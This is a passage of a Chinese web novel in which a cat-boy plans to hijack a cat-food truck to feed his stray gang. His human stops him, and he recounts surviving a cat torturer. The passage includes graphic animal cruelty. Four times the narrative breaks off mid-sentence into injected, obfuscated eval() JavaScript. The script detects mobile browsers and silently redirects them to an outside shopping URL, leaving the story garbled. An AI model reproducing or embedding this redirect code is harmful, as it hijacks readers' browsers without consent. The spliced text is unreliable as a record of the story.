从那天起,灰狸就正式搬到了江有鱼的床上,江有鱼虽然隐隐感觉到这种关系的危险,但终究没有多说什么。 能有一个热乎乎的小猫咪陪着睡觉,是非常舒服的,江有鱼只是体验一次,就有些上瘾,再难戒掉。 她暗暗告诫自己,灰狸只是一只猫而已,抱着她睡觉也没什么,只要她也铭记这点,就不会出什么乱子的。 她一定能记住的。 自从那天灰狸去过蓝姐店里,店里的老鼠就彻底搬家了,可惜老鼠只是流窜到另一家去了,都没搬出秀水街。 灰狸一时间成了大明星,家家户户都求着灰狸去捕鼠,把灰狸弄得烦不胜烦。 他对江有鱼抱怨道:“明明每家都有猫,怎么全是摆设?都找我抓老鼠,我就不用干别的了!” 有时间,他还想多抱一会江有鱼呢!或者研习一下菜谱也行啊! 江有鱼为难道:“家猫从小就跟猫妈妈分开了,没有捕猎环境,猫德学院更不可能教他们这个,当然不可能个个都跟你一样厉害啦。” “那也不能光我一个猫忙前忙后,这些少爷猫只是干看着啊!”灰狸表示不公平:“不会抓老鼠是吧?那我来教他们抓,不就行了?” 江有鱼眼前忽然亮出一个小灯泡。 对呀!她怎么就没有想到呢? 其实,会抓老鼠,本就是好猫的标准之一呀!在古时候,会不会抓老鼠更是评判一只好猫的终极指标,现在生活好了,老祖宗的美德也不能忘啊! 家猫苦不会捉老鼠久矣,都是因为没有师资力量,人又不可能教猫抓耗子,但现在不一样了,她有灰狸啊! 这可是具有丰富实践经验的捕鼠大拿,若是抓耗子也有职称,灰狸应该能评上捕鼠高级技师,这么好的资源,她怎么能浪费呢? 她当即便决定,以灰狸为核心,开设一期捕鼠技能加强班,让灰狸老师带领众位家猫,练习捉鼠本领,培养传统猫德,带领有鱼猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056273|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德学院走向新纪元! 第一期学员,就是秀水街的小猫,饱受鼠害的邻居们一听有这样一门课,纷纷上门报名,表示盼星星盼月亮,终于盼到了捉鼠班,有鱼猫德学院的门槛险些给踏破了。 江有鱼原本只打算收十个学员,结果市场反响实在太热烈,好多人就算托关系加塞,也要把自己的猫送来学习,最终,这期捕鼠班的学员达到了23人。 灰狸老师这才发现,自己给自己挖了个大坑。 捉老鼠固然麻烦,可教学生更加麻烦,现在他的上午时间都得拿来教学,课余时间还得备课,把他的课余时间都挤占光啦! 不过,灰狸是讲信誉的男猫,即使再累,说出口的话也要做到。 起初江有鱼让灰狸做捕鼠课教师,只是灵机一动,但是渐渐的,她发现,灰狸干的很像样。 她本来以为,灰狸只会教大家捉耗子的理论知识,再示范一下动作,殊不知,灰狸的课程设计非常精彩,循序渐进! 因为这是个短期加强班,课程只有三节。一开始,灰狸会让大家用布偶来练习掌力,再通过狂抓猫抓板来学会用爪子出击。 等到大家的火候差不多了,灰狸会用电子老鼠做教具,引导学员们去抓,激发他们的捕猎本能。 最后,灰狸老师还设计了户外实践环节,他会在街上找到一只老鼠,带回来给大家实战,让学员成功毕业! 江有鱼扪心自问,即使是她,也设计不出更好的课程了。 灰狸的智商,明显已经超过了正常猫的范畴,如果是正常猫的智商有十二三岁,那灰狸的智商就有十六七的水准,已经具备深入的逻辑思考能力了。 有这样理论、实践俱佳的老师授课,还有什么学员学不会抓耗子呢? 一传十十传百,灰狸老师的课程很快就做出了名气,做出了口碑,到后来,秀水街的老鼠都绝迹了,想来上加强班的猫依然络绎不绝。 就这样,春去秋来,灰狸老师就在繁忙中度过了整个夏天,明明已经过上了家猫的日子,却还要每天奔波捉老鼠,灰狸表示猫生际遇真是不可捉摸。 不过,他虽然累,却还是相当享受这个过程的。 首先,他喜欢捕猎;其次,他喜欢众猫环绕,听他指挥的感觉;最后也是最重要的一点,他教课,可以帮江有鱼赚钱。 他始终没有忘记,江有鱼很需要钱,没钱的话,江有鱼就要去流浪了。 一只男猫,怎么可以让自己的老婆去流浪呢? 为了这个,灰狸就算累死,也不会撂挑子的! 时至九月,灰狸老师开课已经有三个月了,萌芽街的耗子都被他们抓完了,现在想找个耗子当教具,往往要奔波到两条街外的翠竹公园去。 因为灰狸身上还带着监管脚环,如果要离开萌芽街范围,必须要江有鱼陪着去。为了工作,江有鱼只好每天晚上跟他去公园捉耗子。 翠竹公园是个乏人问津的老公园了,因缺乏管理,早就成了耗子的根据地,灰狸来一趟,起码能进四五只“教具”回去。 江有鱼比较怕耗子,就站在公园外面等他。 今天的进货也很顺利,还没到半小时,灰狸就打晕了五六只老鼠。正当他要把老鼠们放进笼子时,忽然有一道疾风袭来,忽地一下就抢走了一只老鼠。 嘿!哪里来的小贼!我的猎物也敢抢! 灰狸怒了,嗷嗷叫着冲了上去,准确地将那抢鼠犯扑在地上。 那是一只黑背白肚皮的奶牛猫,身姿灵活,两眼贼兮兮的。 两猫四目相对,奶牛猫的嘴巴一下张得老大,老鼠掉在地上,都顾不上捡了:“大、大哥?” 灰狸的嘴巴也张大了:“小、小二?” 38.大哥你变了 原来奶牛猫不是别猫,正是灰狸在黎明会的左膀右臂,名字叫小二,同时也是黎明会的二当家。 两猫相认,抱头痛哭,那些晕倒的耗子都被震醒了,一个个全都溜了。 小二一把鼻涕一把泪:“啊啊啊啊大哥啊!!!我又见到你了!!!我真是太高兴啦!!!” 灰狸也眼眶微湿:“别哭,你怎么在这里?我记得这一带不是我们的地盘啊?” 小二哭道:“自从大哥你被人类抓走,大家都以为你肯定死了,小二没用,你留下的地盘都没守住……” “你不在的日子里,我们的地盘被蚕食了不少,眼看着冬天又要到了,会里的兄弟姐妹们都吃不上饭,我迫不得已,只好冒险跑到这里来捕猎……” 他擦一把眼泪,斗志满满道:“不过,既然大哥你没死,那就没什么可怕的!只要你一回来,我们肯定能筹到冬粮!” 他当下蹦蹦跳跳带路:“大哥,走吧,大家知道你没死,一定都特高兴!” 灰狸却为难地甩甩尾巴:“小二……我不能跟你走。” “咦?为什么?” “我现在必须跟一个人类待在一起,不能离开。” 小二激动道:“难道你被人类给关起来了?不能吧,你这不是能出门吗?” ……自愿跟人类待在一起这种事情,让灰狸怎么说得出口哦? 他跟小二可是一起发过毒誓,这辈子都要视人类为生死仇敌的!这要是传出去了,他灰狸在江湖上还怎么混? 他飞快地转着脑筋:“我也是因祸得福,得到了一个在猫德学校里进修的机会,我打算先在那里毕了业再说。” 小二震惊了:“猫德学院?学做好猫的学院吗?大哥你在说什么?那些人给你喂迷魂药了吗?” 灰狸干咳一声:“别这么说,猫德学院的课程还是很实用的,里面还有教猫认字算数的课程呢,等我学会了,就把这些知识教给你们。” 小二哪管这些,一头拱在灰狸身上,赶着他往黎明会的方向走:“认字算数有什么了不起?我们不稀罕学人类的玩意,我们就想要大哥回家!” 就在这时,江有鱼看灰狸迟迟不出来,进入公园来找他。 她一过来,就看到一只猫跟灰狸滚成一团,以为他们是在打架,大惊之下,立刻跑过来,也不顾灰狸刚刚抓了耗子,便把他抱起来,大声呵斥小二:“走开!不准打灰狸!” 小二望着这个突然杀出来的人类,再看灰狸一脸柔顺地依偎在她怀里,顿时什么都明白了。 他气的像哈士奇一样,嗷呜了一声:“大哥你、你!” “怪不得你不跟我们回去,原来你傍上人类了!你不是跟我一起发过誓,永远都不做家猫的吗?你背叛了我们!背叛了黎明会!” 灰狸尴尬极了:“小二,你听我解释……” 小二悲愤地一扭脸:“还有什么好说的!灰狸,时至今日我才算看清了你,人类一点小恩小惠就把你收买了,难怪你没死也不来找我们,你已经把大家一起流浪的日子全忘了!” “再见了!做你的家猫去吧,今天起小二跟你割毛断义,你再也不是我大哥了!” 说罢,小二龇牙咧嘴地从自己身上咬下一撮毛,扭头就要走。 灰狸急了,跳下地去追小二:“小二!你要去哪里?” “你别管!你心里还有兄弟们吗?你只记得那个女人!我们是死是活,跟你有什么关系,别拦着我!下次再见面,我们就是敌人了!” 灰狸见小二不听解释,干脆把小二过肩摔在地上,踩住小二的肚皮,大吼道:“都说我没有不管你们!我以后一定会回去的!” 小二被他吼的耳朵都趴下了,好半天才回话道:“你现在不回来,大家连这个冬天都过不去,以后回来还有什么用?” 他伸爪指着江有鱼,认真道:“是要兄弟还是要人类,你自己看着办!” 这、这就是传说中,每个男猫都会面对的究极问题吗?老婆跟兄弟同时掉水里,你要先救谁? 他谁都想要救啊!命运不要这么为难一只男猫啊! 灰狸抱头,像任何一个英雄一样,他面对命运的困局,只剩无可奈何了。 正在这时,一只命运之手从天而降,摸了摸小二的头。 “小二对吗?你好瘦啊,既然是灰狸的朋友,要不要到我们家来,先吃点东西再慢慢吵架?” 灰狸恍然大悟:原来还有这种破局之法!让老婆来救兄弟! 只是,这个走向是不是不太对啊? 小二惊呆了,他下意识地挣扎起来,想给江有鱼一爪,却被灰狸警告地摁住肚皮,一动不能动,只能含恨忍下摸头之耻。 灰狸看他冷静了,安慰地舔舔他的头毛:“大哥怎么会不管你们呢?冬粮我来想办法,你先跟我回去,大哥请你吃饭,吃完了再慢慢说。” 吃饭? 小二努力想维持自己的气节,可惜肚子不争气:“……吃什么?” 灰狸想起自己那三千个罐罐,豪气道:“你想吃什么吃什么!大哥那里什么都有!” 小二起初不相信,觉得灰狸是在吹牛皮,但等他看到灰狸床底下那三千个罐罐时,惊得四爪摊开,尾巴抽搐了。 乖乖!灰狸这是傍上人类富婆了吗?猫罐头都堆成山啦,难怪他不想回去! 再看周围,灰狸居然有自己的房间跟床铺!猫抓板猫玩具更是数不清,还有一个带游泳池的后院,这哪是小猫过的日子,这明明是神仙过的日子啊! 小二左爪踩着一个三文鱼罐头,右爪踩着一个兔肉罐头,嘴里还吃着一个牛肉罐头,一边吃一边嘟嘟囔囔道:“大哥,我现在好理解你。” 灰狸歪头:“理解什么?” “原来傍富婆吃软饭这么爽!”小二享受地眼睛眯起来了,“大哥,我想继续跟着你混,你的富婆应该不介意多几只猫傍她吧!” 啪的一下,小二后脑吃了一记,灰狸低吼道:“饭吃完了就赶紧滚蛋,别胡说八道!” “嘿!你怎么变得这么小气了?之前大家都是有老鼠同吃、有猫洞同睡的,现在你发达了,应当有富婆同傍才是,怎么反而吃独食?我不干!” 两猫一言不合,又上演了全武行,结局以灰狸再次把小二踩在脚下告终。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17063742|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小二不服气:“好你个灰狸,你现在日子过得好了,忍心看兄弟们受苦?你变了!” “别说的我好像背信弃义一样!除了江有鱼不能给你傍,剩下的东西,咱们兄弟都可以共享。” 灰狸说到做到:“我一时半会儿不能离开萌芽街,既然你们的日子不好过,干脆你们搬过来吧?我也好照顾你们。” 小二也正有此意:“说得对,明天我们就来投奔你,你这里有这么多罐罐,肯定够我们过冬啦!” 他乐观,灰狸却不这么想。 除了他之外,黎明会还有210只猫,学过除法的他知道,三千个猫罐头,顶多够大家吃十几天。 云朵市的冬日很漫长,零下十几度的日子大约会持续三个月,这么多猫,消耗是个大数字。 灰狸起初也想过向阿橘求助,但他最终还是放弃了这个想法。 即使是再好的朋友,也不能让对方白养着自己,他灰狸一向自力更生,这可不是他的做事风格。 那么,重操旧业,出去干几票吧? 经历猫德学院的半年训练,现在他也今非昔比了,又认字又懂算数,他有信心在不惊动人类的情况下,偷到食物。 江有鱼对两猫的密谋懵然不知,灰狸拉着小二回了自己房间,看来今天也不会过来跟她一起睡了。 她正好趁机,做一下自己的计划。 现在猫德学院的生意越来越好,新一期学员马上就要来上课,学员规模是史无前例是一百多只猫,现有的场地已经容纳不下了。 江有鱼正考虑聘几个老师,扩大学院规模。恰逢她这边的租房也要到期了,她打算租个大点的新场地,这几天她到处奔波,已经找到了个合适的地点,订金都交了。 扩张之后,虽然她的存款又会吃紧,但看着自己的事业一步步壮大,简直不要太开心!江有鱼做完计划,乐滋滋地往床上一躺,做着客似云来攀上高峰的美梦。 然而不知怎么,她却失眠了。 是因为身边少了一个热乎乎的身体,所以不适应了吗? 江有鱼闭着眼,在床上翻来覆去好一阵子,依然睡不着。没有灰狸的猫呼噜,床忽然变得好大好空旷,令她怎么睡都不得安生。 她忽然很想去看看,灰狸在做什么。 她起身,没有穿鞋子,轻手轻脚摸到了灰狸的房间外。 灰狸还没睡,他正跟小二核对最后的细节:“……这里不行,我知道这里猫粮店多,但是这的人都认识我,好猫不吃窝边鼠懂不?” 现在他是有家有口的男猫了,要干这种事情,务必小心再小心,千万不能让人查到江有鱼头上。 他现在最不愿意做的事情,就是给江有鱼惹麻烦,上次她被网友骂的情况,不能再发生了。 今非昔比的灰狸思量一番,将目标定在了郊外的宠爱猫粮厂,这种工厂的监控很多,但是只要运输车上路,就不会有监控了。 灰狸的计划,是在路上拦截司机,直接把车开走,到一个无人知道的偏远地方再卸货,这样最安全快捷。 他跟小二交头接耳,丝毫没注意到,江有鱼就在门外看着他们。 39.灰狸的过去 江有鱼听着灰狸那缜密的计划,只觉得阵阵寒气升了上来,令她四肢百骸都发冷。 从下手地点的选取,到准备作案工具,再到如何抹去自己的痕迹,灰狸都完全考虑到了,到底是数一数二的聪明猫,即使做起犯罪计划,也那么完美。 江有鱼不敢再听下去,半年了,她这才后知后觉地想起,灰狸是个江洋大盗,如果他不是一只猫,现在早就被送进监狱了。 而现在,经历了半年的猫德教育,这个江洋大盗显然进化了,他连摄像头死角、机械故障、出警时间这些概念都懂了。 她这是做了什么?她不会给社会培养了一个高智商犯罪者吧? 不过,没有动机啊…… 她理解灰狸之前为什么要偷东西,不偷就很难活得下来。可现在,她从没有在生活上亏待灰狸,灰狸干嘛又要去偷? 说不定,是自己听错了吧。 江有鱼抱着这种侥幸心理,悄悄退回自己的房间,一夜难眠。 但接下来的几天,灰狸的行踪越发诡异,每次回来,都鬼鬼祟祟地拿着一个大包裹,后院也多了好几只探头探脑的流浪猫。 江有鱼趁着灰狸没注意的时候,翻过那个包裹,一看之下,心直往下沉。 里面居然是扳手、螺丝刀、手套等犯案工具,跟灰狸那天跟小二说的计划一模一样。 灰狸真的要去偷? 九月十号那天下起了第一场秋雨,淅淅沥沥,寒意细细,沁人肌骨。 这一天,正是灰狸预备动手的日子。 晚上八点,江有鱼靠在沙发上假寐,后院传来长一声短一声的猫叫,灰狸听到信号,轻手轻脚地走出来。 他见江有鱼睡着,松了口气,心道不用找借口骗她自己出门的目的,也是件好事。 他伸手,去解江有鱼腕上的监管手环。 他在监管人陪同下才能离开萌芽社区,但这个系统纯粹是靠监管手环来定位的,只要手环跟他在一起,系统就会默认他处于被监护状态。 他的手脚很利索,这次行动也会很快,也许在江有鱼睡醒之前,他就会回来,江有鱼什么都不会知道的。 眼看手环就要被解下,江有鱼的眼睛却忽然全无预兆的睁开,吓得灰狸摔了一个屁股墩。 江有鱼坐起,无法形容心中的失望,她从不提倡体罚小猫,可是现在,她真恨不得抄起抱枕,劈头盖脸地砸灰狸几下。 她哆嗦着嘴唇,第一次用冷冰冰的口气问灰狸:“你要做什么?” 灰狸呆坐在地上,脑子疯狂转动,磕磕巴巴地道:“我、我出门走走。” “外面下着雨,你要走到哪里去?不会是宠爱猫粮厂吧?” 她知道了!她是怎么知道的?灰狸心中大震,再编不出一句谎话。 院内的猫叫一声急过一声,江有鱼心头火起,推开门大吼:“都给我走开!灰狸今天不会跟你们一起去偷东西的!” 院中猫叫声瞬间停了,江有鱼把门关好,咔哒锁上。 灰狸垂着头,局促不安,不时偷偷瞟着她的脸色。一米九的大个子,却像个小猫崽一样,满脸都是惶恐。 她必须得跟他好好谈谈了。 江有鱼喜欢暖色的灯光,室内的所有光源都是柔美的暖黄色系,宁静温馨,在夜晚望去,就好像一个暖融融的大壁炉。 壁炉旁是猫咪最爱的位置,可今天,壁炉里的火焰实在太猛烈,灰狸有了一种被炙烤的错觉,他看着江有鱼,冷汗不停往外冒。 江有鱼的目光好可怕,那是一种他全然陌生的目光,她不再对着她温柔的笑,也不会摸着他的头,夸他是好孩子,相反,她看着他的目光,就好像从来不认识他一样。 灰狸只觉得自己像从二十楼坠下,四肢在空中荡悠着,没着没落。他小心地贴近江有鱼,把脸埋在她大腿上,往常,江有鱼最喜欢他这么做了。 但是,江有鱼却直接把他的脑袋推开了:“灰狸,你让我太失望了。你这么聪明,怎么就不用在正地方呢?” “我教你写字、教你念书、教你生活常识,是希望你能融入人类社会,过上好日子,不是让你用知识去偷东西!” 灰狸耳朵垂下,无措地眨着眼睛:“我还没有偷呢……” 还敢狡辩!江有鱼气道:“又不是你不想偷,你那是被我发现了,才没偷成!要是我今天真的睡着了,明天警察肯定就要上门了!” 灰狸低声道:“不会的,我会做的很干净,一定不会连累你的。” “什么连不连累?我不是在跟你说这个!偷盗是很不好的行为,即使你能侥幸逃脱,也不代表你可以这么做!” 灰狸抬起头,独眼里一片迷茫:“可是,不偷不行啊。” 他望着江有鱼,满脸无措:“我知道偷东西不好,所以我不想让你知道的,但是,黎明会的兄弟们需要粮食,马上就要到冬天了,如果没有东西吃,他们都会死的……” “黎明会?他们不会自己捕猎吗?为什么要靠你来偷东西呢?” “平常是不用靠我的,但是冬天不一样,外面的猎物少,又下雪,很多时候,他们出门都会冻死。起码要准备三个月的食物,大家才能度过这个冬天……” 江有鱼这才明白过来,她忍不住摇摇头:“就算是这样,你也不能偷东西啊!你现在还在重修猫德期间,你知不知道,一旦偷窃被抓,你会怎么样啊?” “你会被视为无法教化的野猫,拉去人道毁灭的!这么做值得吗?” 江有鱼并非不同情那些流浪猫,但是与他们相比,更重要的是灰狸。 灰狸已经是她的小猫了,她绝不能接受灰狸再次走上犯罪道路,被拉去处死,她强硬道:“亏本的买卖不能做,去跟你的那些兄弟说,让他们自己想办法,以后也别来找你!” 灰狸却摇了摇头。 江有鱼急了:“是我没说清楚,还是你突然犯傻了?你会死的!!!我不允许这种事情发生!如果你非要这么做,今天走出去就不要回来!” 灰狸一向对她百依百顺,话说到这个份上,江有鱼自信已经摆明了态度。可灰狸虽然面露挣扎,还是摇头道:“我不能不管他们。” “你这是什么意思?”江有鱼忽然觉得心口发堵,“你的那些猫兄弟,对你就那么重要?你为了他们,可以连命都不要……连我也不要了吗?” 江有鱼说不下去了,她甚至开始觉得自己可笑。 她这是干什么?灰狸只是一只猫,她这是在跟其余猫争宠吗?这种被抛弃的心碎感是怎么回事? 灰狸只觉这次,老婆跟兄弟真的同时掉进了水里,他左右为难,不知道顾哪一头好。 他恳切地抱着江有鱼的小腿,急急道:“不是这样的!我怎会不要你呢?但是我答应过,要保护他们,直到我死掉的那一天,我不能不守承诺!” 这都什么跟什么?江有鱼皱起眉:“你说清楚,到底怎么一回事?” 灰狸指了指自己的独眼:“你知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068211|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这只眼睛是怎么瞎的吗?” 江有鱼摇摇头,心揪了起来,她有预感,接下来,她听到的故事不会那么美好。 灰狸道:“是人类打的。” 他陷入回忆:“我刚开始流浪的时候,什么都不会,只能靠翻垃圾桶过日子,那时候,每天肚子都好饿,饿的好像要死掉……” “后来有一天,我走到一个小区,忽然闻到很香的味道……猫薄荷的味道,从前主人家离开后,我再也没有吃过猫薄荷,根本抵挡不了这种诱惑。” “我循着味道走过去,发现是那里有个塑料盆,装着满满一盆猫粮,里面居然还掺了猫薄荷,是有人投喂的。但是食物旁边已经有一只白猫了,她还带着自己的四个小崽子。” “带崽子的母猫是很凶的,不会允许别猫抢自己孩子的食物,我那时候还不到一岁,根本不是成年猫的对手,只敢在旁边等着,不敢上去吃。” “谁知道,那只白猫看我过来,居然往旁边让了让,欢迎我一起来吃东西。在她眼里,我这种小猫崽都算是孩子,她作为母亲,不想看到任何一个孩子饿肚子。” “谁知道,那个猫食盆里不仅掺了猫薄荷,还放了麻醉药,吃了猫粮后,我们全都晕倒了。再睁开眼睛时,我……看到了这世界上最恐怖的房间……” 灰狸闭上眼,浑身颤抖起来,一股暗黑的情绪从他身上传出来,顷刻间便传遍了整个房间,明明已经是个高大剽悍的少年,这会儿却脆弱的像只垂死的鸟。 江有鱼心疼起来,她知道,那一定不是什么愉快的经历,她低下头,安慰地拍了拍灰狸的背:“没事,不要怕,你现在很安全,慢慢说……” 灰狸感受到她柔软的手心擦过自己的后背,随着那只手掌的拍抚,他轻微的耳鸣平息下来,终于有了力气说接下来的事情。 “那个房间很小,窗子被封死了,门被反锁,无处可逃。屋里充斥着很多气味,泪水的气味、恐惧的气味、血液的气味,骨肉腐烂的气味、屎尿发酵的气味……来自很多、很多只猫。” “地板上铺着猫皮做成的地毯,白的、橘的、黑的、花的……桌子上摆着一排闪闪发亮的猫骷髅,大的、小的、矮脚的……” “我好害怕,白猫跟她的幼崽也怕的要命,我们六个紧紧缩在一起,也不知道过了多久,有个人走了进来。” “他抽出皮带,一个一个的打我们,连那些小崽子都不放过。白猫拼命挡在她的孩子前面,连我也被她护在身后,少挨了好几下。” “他很快就用腻了皮带,开始想其他的新花招。有一次,他拿牙签扎我的肉垫,希望看我踩着竹签走路;还有一次,他往我的鼻子里喷辣椒水,我在地上打滚,哀嚎,我越叫,他越开心……” 江有鱼已经出离愤怒了,她知道世界上有些人很坏,但是她还是没想过,居然有人能这样恶毒地折磨别的生命,只为了自己取乐。 光是听,她就已经鸡皮疙瘩起了一身,真不敢想灰狸当年有多痛。她摸着灰狸的头发,柔声道:“实在不想回忆的话,也可以不说的。” 灰狸却摇了摇头。他要说,他必须让江有鱼知道,他为什么那么在乎黎明会,只要他说出来,江有鱼是一定会理解他的。 “我们每天都在想着怎么逃跑,那时候白猫已经可以变成人了,她如果自己逃跑的话,是有希望成功的,但是她不舍得自己的幼崽们,始终没有走。” “然后……就到了,那一天。她想走,但再也走不了了。” 40.诺言的重量 “那天,外面下了大雪,那个男人一整天都没回来,我们本来松了口气,谁知到了午夜时,噩梦还是来临了。” “他似乎在外面受了气,浑身酒味,骂女人、骂老板……往常他喜欢听我们惨叫,为了多听一会儿,他会选择用损伤小,但非常痛的方式对待我们。” “可是那天,他身上的味道不对,他只想要我们死。” “他先是当着白猫的面,摔死了一只小猫崽,那是只小黑猫,只有四只脚是白的,是白猫最喜欢的一个孩子。白猫疯狂地想要咬他,但却被皮带捆住,无法挣脱。” “接下来,就轮到了我。” “他手里拿着一把长长的螺丝刀,用一只手卡住了我的脖子,然后……” 即使时隔多年,他再次想起那一刻,身体依然会忠实地重现当时的痛苦。 钢签进入眼球的那一瞬,他先感觉到的,居然是冷,有极冰冷的东西穿刺进了他的身体。接着,他听见螺丝刀捅破眼球时那噗呲的爆裂声,好像扎破了一个水球。 他的左眼瞬间蒙上一层血色,视觉消失了,最后涌上来的才是痛,眼睛的痛楚、心灵的恐惧……他想逃走,却只能做一件事,那就是疯狂地嚎叫,嚎叫着救命,嚎叫着妈妈。 灰狸拿起江有鱼的手,捂在自己的脸上,似乎只有这样,他才能对抗那种几乎穿入脑膜的剧痛。 她是最好的镇痛剂,灰狸深深吸气,把她的气息全部灌入肺里,却不吐出去,只在胸腔中反复酝酿着,回味着,半晌,才继续说了下去。 “他并不是想捅瞎我的眼睛,他是想直接把螺丝刀从我的眼睛捅进去,捅穿我的脑子。他差一点就得逞了,但是此时,那只白猫扑了上来。” “她变成了一个女人的样子,挣断皮带,抄起桌上的那些骷髅猫标本,砸在那个人头上。那人吃了一惊,放开了我,我死里逃生,滚在一边。” “她厮打他,咬他,用指甲抓挠他,他气极了,回过身,掐住了她的脖子。” “如果没有那个意外,那天我一定会死在那里的,我们会变成六张猫皮,并排躺在那个房间的地板上,可是,我偏偏运气很好。” “时钟敲过十二点,刚好是我满一岁的日子,我就在那个房间里第一次化身为人。” “男人见我变成了人,认定我比她更有威胁,便重新抄起螺丝刀攻击我,我还不适应用人的方式行走,完全不是他的对手。” “眼看我就要被男人杀死,她再次冲了上来,死死抱住了那个男人。她让我快跑,不要管她,只要照顾好她的幼崽……” “男人用螺丝刀,把她捅的身上全是血窟窿,可她始终缠住那个男人不肯松手,一声声地催促我们快跑……” “我一咬牙,把剩下的三个小猫崽揣进怀里,撞破卧室门,逃了出去。” “那天的雪真大呀,纷纷扬扬,让天地都那么安静,三只小猫崽一声不吭,只是毛绒绒地在我胸前散着热气,我不知道自己要到哪里去,只是不停的跑着、跑着,好像一停下来就会死……” “第二天,雪停了,大地白的发亮,风吹得皮肤发紧,从那个男人家丢出来一个血淋淋的垃圾袋,我没有打开看,但我从气味就能分辨出来,那是她……” “那天,我带着三个猫崽,对着她的尸体发了誓,只要有我一口饭吃,就有她的三个小崽一口饭吃,我会永远永远照顾他们。” “小二就是那三个小崽中的一个,我想尽了办法把他们拉扯大,那就是最初的黎明会,就我们四个相依为命。” “我一生都忘不了那只白猫,我不是她的孩子,她为什么要保护我呢?我不明白,但是我很感谢她,等我的伤口好了,我也像她一样,尽我所能保护更弱小的同伴。” “就这样,我帮助了很多猫,他们也都加入了黎明会。黎明会是我的责任,它存在的意义,就是让大家在这个世界上报团取暖,度过猫生里的一场又一场大雪……” “所以,我不能不管他们,他们就是我生命的一部分。我能活到今天,是因为那只白猫用她的命换了我的命,我只要还剩一口气,就要为他们努力拼搏,我不想再有任何一只猫死在我眼前了!” 灰狸小心翼翼地抬起眼睛,问道:“江有鱼,我保证,我不会经常偷东西的,我只要在每年冬天前干一票就够了,如果我不帮他们,他们真的会死的……” 他满脸期待地望着江有鱼,那眼神中掺杂着请求、焦急、希冀、渴望,像是一把把小钩子,勾着江有鱼让她点头。 可是他失望地看见,江有鱼还是摇了摇头。 灰狸一下子瞪大了眼睛,他不敢相信,江有鱼居然不愿意帮他!她怎么能、怎么能…… “好啦,别摆出那副样子。我不反对你帮他们,但是不管怎么说,偷东西都是不对的。”江有鱼拍了拍他的脑袋:“我们是守法公民,不过是些猫粮而已,为什么不去买,非要偷呢?” 灰狸局促道:“可是……我们没有钱……” “那是以前,现在不是有我吗?你们到底有多少猫口,统计一下,我明天就去买猫粮。” 她在说什么?她这是要养黎明会两百多张嘴吗? 灰狸已经是只懂算数的猫了,两百多只猫,一天就能吃掉50斤的猫粮,就算是买最便宜的猫粮,也要花上一千元! 一天一千,一个月下来,那就是三万,这么多钱都给了黎明会,江有鱼怎么办?江有鱼也很需要钱啊! 灰狸知道江有鱼正在谋划扩大学校规模,他连忙把脑袋摇的像是拨浪鼓一般:“不行不行,绝对不行!” “黎明会是我的责任,不是你的,这对你太不公平了!你不能为我花那么多钱……你养我已经够费力了!我不能让你把这二百多只猫也一并负担起来!” “好啦、好啦!别说的我像个冤大头一样。”江有鱼捧住灰狸的脸,一笔一笔给他细算账:“你还记得自己赚了多少钱吗?” “啊?” “别说你忘了啊,猫德大赛的奖金,一共十二万,虽然我已经花了六万……”江有鱼有点不好意思,“不过,你能夺冠,是咱们共同努力的结果,奖金有我一半,你没意见吧?” 灰狸压根没想过那笔钱还有自己的份,要不是江有鱼教他念书,他怎么可能夺冠呢,奖金应该都给江有鱼才对,连忙摇摇头。 “我不会用自己的钱来养黎明会,但你用你的奖金养兄弟们,是天经地义的,我不会阻拦。冬天是三个月,六万块买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073574|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫粮,能支撑两个月了,也不必非得偷嘛。” 一条死路,被她三言两语,似乎就点拨出一条光明大道,灰狸的眼睛亮起来,但还是有些犹豫:“……那还有一个月呢?” 江有鱼也没想好,但是距离冬天还有一段时间,车到山前必有路,到时候再说吧。 她拍拍灰狸的脑袋,开玩笑道:“了不起,我就先借你一点钱,以后你赚到钱了,再还给我就好。” 她是说者无心,灰狸却当真了,当即竖起耳朵,点头道:“好的!我一定会努力!赚很多钱给你花!” 